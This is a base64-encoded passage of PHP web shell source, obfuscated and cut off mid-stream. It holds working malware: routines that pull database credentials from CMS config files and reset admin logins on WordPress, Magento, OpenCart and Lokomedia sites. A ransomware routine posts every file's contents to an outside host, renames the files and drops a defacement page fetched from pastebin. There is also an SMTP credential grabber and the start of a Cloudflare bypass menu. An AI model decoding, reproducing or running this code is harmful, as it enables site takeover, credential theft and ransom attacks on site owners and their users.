JJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9VU0VSJywgJyIsIiciKTsNCgkJCQkJJGRicGFzcyA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7DQoJCQkJCSRkYnByZWZpeCA9IGFtYmlsa2F0YSgkY29uZmlnLCJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTsNCgkJCQkJJHByZWZpeCA9ICRkYnByZWZpeC4idXNlcnMiOw0KCQkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgaWQgQVNDIik7DQoJCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJCSRpZCA9ICRyZXN1bHRbSURdOw0KCQkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdDIgPSBteXNxbF9mZXRjaF9hcnJheSgkcTIpOw0KCQkJCQkkdGFyZ2V0ID0gJHJlc3VsdDJbb3B0aW9uX3ZhbHVlXTsNCgkJCQkJaWYoJHRhcmdldCA9PSAnJyl7DQoJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxmb250IGNvbG9yPXJlZD5FcnJvciwgQ291bGQgbm90IHJldHJpZXZlIHRoZSBkb21haW4gbmFtZTwvZm9udD48YnI+IjsNCgkJCQkJfWVsc2V7DQoJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L3dwLWxvZ2luLnBocCcgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQvd3AtbG9naW4ucGhwPC91PjwvYT48YnI+IjsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VyX2xvZ2luPSckdXNlcl9iYXJ1Jyx1c2VyX3Bhc3M9JyRwYXNzX2JhcnUnIFdIRVJFIGlkPSckaWQnIik7DQoJCQkJCWVjaG8gIkNvbmZpZyA9PiAiLiRmaWxlX2NvbmYuIjxicj4iOw0KCQkJCQllY2hvICJDTVMgPT4gV29yZHByZXNzPGJyPiI7DQoJCQkJCWVjaG8gJHVybF90YXJnZXQ7DQoJCQkJCWlmKCEkdXBkYXRlIE9SICEkY29ubiBPUiAhJGRiKXsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9FcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1saW1lPlN1Y2Nlc3MsIFBsZWFzZSBsb2dpbiB3aXRoIGEgbmV3IFVzZXIgJiBQYXNzd29yZC48L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9DQoJCQkJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQl9ZWxzZWlmKHByZWdfbWF0Y2goIi9NYWdlbnRvfE1hZ2VfQ29yZS8iLCRjb25maWcpKXsNCgkJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCI8aG9zdD48IVtDREFUQVsiLCJdXT48L2hvc3Q+Iik7DQoJCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiPHVzZXJuYW1lPjwhW0NEQVRBWyIsIl1dPjwvdXNlcm5hbWU+Iik7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywiPHBhc3N3b3JkPjwhW0NEQVRBWyIsIl1dPjwvcGFzc3dvcmQ+Iik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiPGRibmFtZT48IVtDREFUQVsiLCJdXT48L2RibmFtZT4iKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIjx0YWJsZV9wcmVmaXg+PCFbQ0RBVEFbIiwiXV0+PC90YWJsZV9wcmVmaXg+Iik7DQoJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguImFkbWluX3VzZXIiOw0KCQkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJjb3JlX2NvbmZpZ19kYXRhIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHEyID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBXSEVSRSBwYXRoPSd3ZWIvc2VjdXJlL2Jhc2VfdXJsJyIpOw0KCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCSR0YXJnZXQgPSAkcmVzdWx0Mlt2YWx1ZV07DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpew0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGZvbnQgY29sb3I9cmVkPkVycm9yLCBDb3VsZCBub3QgcmV0cmlldmUgdGhlIGRvbWFpbiBuYW1lPC9mb250Pjxicj4iOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQvYWRtaW4vJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbi88L3U+PC9hPjxicj4iOw0KCQkJCQl9DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgdXNlcl9pZD0nJGlkJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IE1hZ2VudG88YnI+IjsNCgkJCQkJZWNobyAkdXJsX3RhcmdldDsNCgkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPXJlZD4iLm15c3FsX0Vycm9yKCkuIjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX1lbHNlew0KCQkJCQkJZWNobyAiU3RhdHVzID0+IDxmb250IGNvbG9yPWxpbWU+U3VjY2VzcywgUGxlYXNlIGxvZ2luIHdpdGggYSBuZXcgVXNlciAmIFBhc3N3b3JkLjwvZm9udD48YnI+PGJyPiI7DQoJCQkJCX0NCgkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCX1lbHNlaWYocHJlZ19tYXRjaCgiL0hUVFBfU0VSVkVSfEhUVFBfQ0FUQUxPR3xESVJfQ09ORklHfERJUl9TWVNURU0vIiwkY29uZmlnKSl7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0hPU1ROQU1FJywgJyIsIiciKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCInREJfVVNFUk5BTUUnLCAnIiwiJyIpOw0KCQkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiJ0RCX0RBVEFCQVNFJywgJyIsIiciKTsNCgkJCQkJJGRicHJlZml4ID0gYW1iaWxrYXRhKCRjb25maWcsIidEQl9QUkVGSVgnLCAnIiwiJyIpOw0KCQkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJ1c2VyIjsNCgkJCQkJJGNvbm4gPSBteXNxbF9jb25uZWN0KCRkYmhvc3QsJGRidXNlciwkZGJwYXNzKTsNCgkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgdXNlcl9pZCBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJJHRhcmdldCA9IGFtYmlsa2F0YSgkY29uZmlnLCJIVFRQX1NFUlZFUicsICciLCInIik7DQoJCQkJCWlmKCR0YXJnZXQgPT0gJycpew0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGZvbnQgY29sb3I9cmVkPkVycm9yLCBDb3VsZCBub3QgcmV0cmlldmUgdGhlIGRvbWFpbiBuYW1lPC9mb250Pjxicj4iOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQnIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0PC91PjwvYT48YnI+IjsNCgkJCQkJfQ0KCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VybmFtZT0nJHVzZXJfYmFydScscGFzc3dvcmQ9JyRwYXNzX2JhcnUnIFdIRVJFIHVzZXJfaWQ9JyRpZCciKTsNCgkJCQkJZWNobyAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCWVjaG8gIkNNUyA9PiBPcGVuQ2FydDxicj4iOw0KCQkJCQllY2hvICR1cmxfdGFyZ2V0Ow0KCQkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYil7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9cmVkPiIubXlzcWxfRXJyb3IoKS4iPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfWVsc2V7DQoJCQkJCQllY2hvICJTdGF0dXMgPT4gPGZvbnQgY29sb3I9bGltZT5TdWNjZXNzLCBQbGVhc2UgbG9nIGluIHdpdGggdGhlIG5ldyBVc2VyICYgUGFzc3dvcmQuPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfQ0KCQkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQkJfWVsc2VpZihwcmVnX21hdGNoKCIvcGFuZ2dpbCBmdW5nc2kgdmFsaWRhc2kgeHNzIGRhbiBpbmplY3Rpb24vIiwkY29uZmlnKSl7DQoJCQkJCSRkYmhvc3QgPSBhbWJpbGthdGEoJGNvbmZpZywnc2VydmVyID0gIicsJyInKTsNCgkJCQkJJGRidXNlciA9IGFtYmlsa2F0YSgkY29uZmlnLCd1c2VybmFtZSA9ICInLCciJyk7DQoJCQkJCSRkYnBhc3MgPSBhbWJpbGthdGEoJGNvbmZpZywncGFzc3dvcmQgPSAiJywnIicpOw0KCQkJCQkkZGJuYW1lID0gYW1iaWxrYXRhKCRjb25maWcsJ2RhdGFiYXNlID0gIicsJyInKTsNCgkJCQkJJHByZWZpeCA9ICJ1c2VycyI7DQoJCQkJCSRvcHRpb24gPSAiaWRlbnRpdHkiOw0KCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoJCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJG9wdGlvbiBPUkRFUiBCWSBpZF9pZGVudGl0eSBBU0MiKTsNCgkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJJHRhcmdldCA9ICRyZXN1bHRbYWxhbWF0X3dlYnNpdGVdOw0KCQkJCQlpZigkdGFyZ2V0ID09ICcnKXsNCgkJCQkJCSR0YXJnZXQyID0gJHJlc3VsdFt1cmxdOw0KCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGZvbnQgY29sb3I9cmVkPkVycm9yLCBDb3VsZCBub3QgcmV0cmlldmUgdGhlIGRvbWFpbiBuYW1lPC9mb250Pjxicj4iOw0KCQkJCQkJaWYoJHRhcmdldDIgPT0gJycpew0KCQkJCQkJCSR1cmxfdGFyZ2V0MiA9ICJMb2dpbiA9PiA8Zm9udCBjb2xvcj1yZWQ+RXJyb3IsIENvdWxkIG5vdCByZXRyaWV2ZSB0aGUgZG9tYWluIG5hbWU8L2ZvbnQ+PGJyPiI7DQoJCQkJCQl9ZWxzZXsNCgkJCQkJCQkkY2VrX2xvZ2luMyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0Mi9hZG1pbndlYi8iKTsNCgkJCQkJCQkkY2VrX2xvZ2luNCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0Mi9sb2tvbWVkaWEvYWRtaW53ZWIvIik7DQoJCQkJCQkJaWYocHJlZ19tYXRjaCgiL0NNUyBMb2tvbWVkaWF8QWRtaW5pc3RyYXRvci8iLCAkY2VrX2xvZ2luMykpew0KCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldDIvYWRtaW53ZWInIHRhcmdldD0nX2JsYW5rJz48dT4kdGFyZ2V0Mi9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJfWVsc2VpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxMb2tvbWVkaWEvIiwgJGNla19sb2dpbjQpKXsNCgkJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYicgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJfWVsc2V7DQoJCQkJCQkJCSR1cmxfdGFyZ2V0MiA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0MicgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQyPC91PjwvYT4gWyA8Zm9udCBjb2xvcj1yZWQ+b3IgYWRtaW4gbG9naW4gd2hlcmUgaXMgaXQ8L2ZvbnQ+IF08YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX1lbHNlew0KCQkJCQkJJGNla19sb2dpbiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0L2FkbWlud2ViLyIpOw0KCQkJCQkJJGNla19sb2dpbjIgPSBmaWxlX2dldF9jb250ZW50cygiJHRhcmdldC9sb2tvbWVkaWEvYWRtaW53ZWIvIik7DQoJCQkJCQlpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxBZG1pbmlzdHJhdG9yLyIsICRjZWtfbG9naW4pKXsNCgkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQl9ZWxzZWlmKHByZWdfbWF0Y2goIi9DTVMgTG9rb21lZGlhfExva29tZWRpYS8iLCAkY2VrX2xvZ2luMikpew0KCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQvbG9rb21lZGlhL2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9sb2tvbWVkaWEvYWRtaW53ZWI8L3U+PC9hPjxicj4iOw0KCQkJCQkJfWVsc2V7DQoJCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gPGEgaHJlZj0nJHRhcmdldCcgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQ8L3U+PC9hPiBbIDxmb250IGNvbG9yPXJlZD5PciBhZG1pbiBsb2dpbiB3aGVyZSBpcyBpdDwvZm9udD4gXTxicj4iOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgbGV2ZWw9J2FkbWluJyIpOw0KCQkJCQllY2hvICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJZWNobyAiQ01TID0+IExva29tZWRpYTxicj4iOw0KCQkJCQlpZihwcmVnX21hdGNoKCcvRXJyb3IsIENvdWxkIG5vdCByZXRyaWV2ZSB0aGUgZG9tYWluIG5hbWUuLycsICR1cmxfdGFyZ2V0KSl7DQoJCQkJCQllY2hvICR1cmxfdGFyZ2V0MjsNCgkJCQkJfWVsc2V7DQoJCQkJCQllY2hvICR1cmxfdGFyZ2V0Ow0KCQkJCQl9DQoJCQkJCWlmKCEkdXBkYXRlIE9SICEkY29ubiBPUiAhJGRiKXsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1yZWQ+Ii5teXNxbF9FcnJvcigpLiI8L2ZvbnQ+PGJyPjxicj4iOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCWVjaG8gIlN0YXR1cyA9PiA8Zm9udCBjb2xvcj1saW1lPlN1Y2Nlc3MsIFlvdSBjYW4gbm93IGxvZ2luIDpcPC9mb250Pjxicj48YnI+IjsNCgkJCQkJfQ0KCQkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfWVsc2V7DQoJCWVjaG8gIjxoMyBjbGFzcz0ndGV4dC1jZW50ZXIgbWItNCc+QXV0byBFZGl0IFVzZXI8L2gzPg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJPGg1PkRJUiBMb2NhdGlvbiBDb25maWc8L2g1Pg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItMycgbmFtZT0nY29uZmlnX2RpcicgdmFsdWU9JyRkaXInPg0KCQkJPGg1PlNldCBVc2VyICYgUGFzcyA6PC9oNT4NCgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyX2JhcnUnIHZhbHVlPSdBbm9uUHJpeG9yJyBjbGFzcz0nZm9ybS1jb250cm9sIG1iLTMnIHBsYWNlaG9sZGVyPSdTZXQgVXNlcm5hbWUnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3NfYmFydScgdmFsdWU9J0Fub25Qcml4b3InIGNsYXNzPSdmb3JtLWNvbnRyb2wgbWItNCcgcGxhY2Vob2xkZXI9J1NldCBQYXNzd29yZCc+DQoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdoYWphcicgdmFsdWU9J0VkaXQgVXNlcicgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayc+DQoJCTwvZm9ybT4NCgkJPHAgY2xhc3M9J3RleHQtbXV0ZWQgbWItNCc+VGhpcyB0b29sIHdvcmtzIGlmIGl0IGlzIHJ1biwgaW4gdGhlIGNvbmZpZyBmb2xkZXIgPHU+Y29uZmlnPC91PiAoIGV4OiAvaG9tZS91c2VyL3B1YmxpY19odG1sL25hbWVfZm9sZGVyX2NvbmZpZyApPC9wPiI7DQoJfQ0KCWV4aXQ7DQp9DQpmdW5jdGlvbiByYW5zb20oJGRpciwkZmlsZSl7DQoJaWYoaXNzZXQoJF9QT1NUWyJlbmNyeXB0Il0pKSB7DQoJCSRkaXIgPSAkX1BPU1RbInBhdGgiXTsNCgkJZWNobyI8dGV4dGFyZWEgY2xhc3M9J2Zvcm0tY29udHJvbCBtYi00JyByb3dzPScxMycgZGlzYWJsZWQ9Jyc+IjsNCgkJZnVuY3Rpb24gbGlzdEZvbGRlckZpbGVzKCRkaXIpew0KCQkJaWYgKGlzX2RpcigkZGlyKSkgew0KCQkJCSRmZnMgPSBzY2FuZGlyKCRkaXIpOw0KCQkJCXVuc2V0KCRmZnNbYXJyYXlfc2VhcmNoKCcuJywgJGZmcywgdHJ1ZSldKTsNCgkJCQl1bnNldCgkZmZzW2FycmF5X3NlYXJjaCgnLi4nLCAkZmZzLCB0cnVlKV0pOw0KCQkJCWlmIChjb3VudCgkZmZzKSA8IDEpDQoJCQkJcmV0dXJuOw0KCQkJCWZvcmVhY2goJGZmcyBhcyAkZmYpew0KCQkJCQkkZmlsZXMgPSAkZGlyLiIvIi4kZmY7DQoJCQkJCWlmKCFpc19kaXIoJGZpbGVzKSl7DQoJCQkJCQkvKiBlbmNyeXB0IGZpbGUgKi8NCgkJCQkJCSRmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVzKTsNCgkJCQkJCSRfYSA9IGJhc2U2NF9lbmNvZGUoJGZpbGUpOw0KCQkJCQkJLyogcHJvc2VzIGN1cmwgKi8NCgkJCQkJCSRjaCA9IGN1cmxfaW5pdCgpOw0KCQkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHA6Ly9lbmNyeXB0LmluZHNjLm1lL2FwaS5waHA/dHlwZT1lbmNyeXB0Jyk7DQoJCQkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCQkJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJ0ZXh0PSRfYSIpOw0KCQkJCQkJJHggPSBqc29uX2RlY29kZShjdXJsX2V4ZWMoJGNoKSk7DQoJCQkJCQlpZigkeC0+c3RhdHVzID09ICdTdWNjZXNzJyl7DQoJCQkJCQkJJF9lbmMgPSBiYXNlNjRfZGVjb2RlKCR4LT5kYXRhKTsNCgkJCQkJCQlyZW5hbWUoJGZpbGVzLCAkZmlsZXMuICIuaW5kc2MiKTsNCgkJCQkJCQllY2hvICJbK10kZmlsZXMgPT4gU3VjY2VzcyBFbmNyeXB0ZWRcbiI7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJaWYoaXNfZGlyKCRkaXIuJy8nLiRmZikpIGxpc3RGb2xkZXJGaWxlcygkZGlyLicvJy4kZmYpOw0KCQkJCX0NCgkJCQkkaW5kZXggPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2FHWjZCZVRIJyk7DQoJCQkJJF9vID0gZm9wZW4oJGRpci4iL2luZGV4Lmh0bWwiLCAidyIpOw0KCQkJCWZ3cml0ZSgkX28sICRpbmRleCk7DQoJCQkJZmNsb3NlKCRfbyk7DQoJCQkJZWNobyAiXG5bK10gRG9uZSAhIjsNCgkJCX1lbHNlew0KCQkJCWVjaG8gIlxuQnVrYW4gZGlyIjsNCgkJCX0NCgkJfQ0KCQlsaXN0Rm9sZGVyRmlsZXMoJGRpcik7DQoJCWVjaG8gIjwvdGV4dGFyZWE+PGJyLz4iOw0KCX1lbHNlew0KCQllY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQoJCQkJPGg0IGNsYXNzPSJ0ZXh0LWNlbnRlciBtYi00Ij48aSBjbGFzcz0iZmEgZmEtbG9jayI+PC9pPiBSYW5zb213YXJlPC9oND4NCgkJCQk8bGFiZWw+UGlsaWggRGlyZWN0b3J5IDo8L2xhYmVsPg0KCQkJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgaW5wdXQtZ3JvdXAiPg0KCQkJCQk8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1wcmVwZW5kIj4NCgkJCQkJCTxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLXRleHQiPjxpIGNsYXNzPSJmYSBmYS1ob21lIj48L2k+PC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGF0aCIgY2xhc3M9ImZvcm0tY29udHJvbCIgdmFsdWU9IicuJGRpci4nIi8+DQoJCQkJPC9kaXY+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZW5jcnlwdCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayIgdmFsdWU9IkVuY3J5cHQiLz4NCgkJCTwvZGl2Pg0KCQk8L2Zvcm0+JzsNCgl9DQoJZXhpdDsNCn0NCmZ1bmN0aW9uIHNjaigkZGlyKXsNCgkkZGlycyA9IHNjYW5kaXIoJGRpcik7DQoJZm9yZWFjaCgkZGlycyBhcyAkZGlyYil7DQoJCWlmKCFpc19maWxlKCIkZGlyLyRkaXJiIikpIGNvbnRpbnVlOw0KCQkkYW1iaWwgPSBmaWxlX2dldF9jb250ZW50cygiJGRpci8kZGlyYiIpOw0KCQkkYW1iaWwgPSBzdHJfcmVwbGFjZSgiJCIsICIiLCAkYW1iaWwpOw0KCQlpZihwcmVnX21hdGNoKCIvSkNvbmZpZ3xqb29tbGEvIiwgJGFtYmlsKSl7DQoJCQkkc210cF9ob3N0ID0gYW1iaWxrYXRhKCRhbWJpbCwic210cGhvc3QgPSAnIiwiJyIpOw0KCQkJJHNtdHBfYXV0aCA9IGFtYmlsa2F0YSgkYW1iaWwsInNtdHBhdXRoID0gJyIsIiciKTsNCgkJCSRzbXRwX3VzZXIgPSBhbWJpbGthdGEoJGFtYmlsLCJzbXRwdXNlciA9ICciLCInIik7DQoJCQkkc210cF9wYXNzID0gYW1iaWxrYXRhKCRhbWJpbCwic210cHBhc3MgPSAnIiwiJyIpOw0KCQkJJHNtdHBfcG9ydCA9IGFtYmlsa2F0YSgkYW1iaWwsInNtdHBwb3J0ID0gJyIsIiciKTsNCgkJCSRzbXRwX3NlY3VyZSA9IGFtYmlsa2F0YSgkYW1iaWwsInNtdHBzZWN1cmUgPSAnIiwiJyIpOw0KCQkJZWNobyAiPHRhYmxlIGNsYXNzPSd0ZXh0LXdoaXRlIHRhYmxlIHRhYmxlLWJvcmRlcmVkJz4NCgkJCQk8dHI+DQoJCQkJCTx0ZD5TTVRQIEhvc3Q6ICRzbXRwX2hvc3Q8L3RkPg0KCQkJCTwvdHI+DQoJCQkJPHRyPg0KCQkJCQk8dGQ+U01UUCBQb3J0OiAkc210cF9wb3J0PC90ZD4NCgkJCQk8L3RyPg0KCQkJCTx0cj4NCgkJCQkJPHRkPlNNVFAgVXNlcjogJHNtdHBfdXNlcjwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8dHI+DQoJCQkJCTx0ZD5TTVRQIFBhc3M6ICRzbXRwX3Bhc3M8L3RkPg0KCQkJCTwvdHI+DQoJCQkJPHRyPg0KCQkJCQk8dGQ+U01UUCBBdXRoOiAkc210cF9hdXRoPC90ZD4NCgkJCQk8L3RyPg0KCQkJCTx0cj4NCgkJCQkJPHRkPlNNVFAgU2VjdXJlOiAkc210cF9zZWN1cmU8L3RkPg0KCQkJCTwvdHI+DQoJCQk8L3RhYmxlPiI7DQoJCX0NCgl9DQoJZWNobyAiPHAgY2xhc3M9J3RleHQtbXV0ZWQnPk5COiBUaGlzIHRvb2wgd29ya3MgaWYgaXQncyBydW4gaW4gYSBmb2xkZXIgPHU+Y29uZmlnPC91PiAoIGV4OiAvaG9tZS91c2VyL3B1YmxpY19odG1sL25hbWFmb2xkZXJfY29uZmlnICk8L3A+IjsNCglleGl0Ow0KfQ0KZnVuY3Rpb24gYnlwYXNzY2YoKXsNCgllY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KCQk8aDUgY2xhc3M9InRleHQtY2VudGVyIG1iLTMiPkJ5cGFzcyBDbG91ZCBGbGFyZTwvaDU+DQoJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgaW5wdXQtZ3JvdXAiPg0KCQkJPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJpZHNQaWxpaCI+DQoJCQkJPG9wdGlvbj5DaG9vc2UgTWV0aG9kczwvb3B0aW9uPg0KCQkJCTxvcHRpb24+ZnRwPC9vcHRpb24+DQoJCQkJPG9wdGlvbj5kaXJlY3QtY29ubnRlY3Q8L29wdGlvbj4NCgkJCQk8b3B0aW9uPndlYm1haWw8L29wdGlvbj4NCgkJCQk8b3B0aW9uPmNwYW5lbDwvb3B0aW9u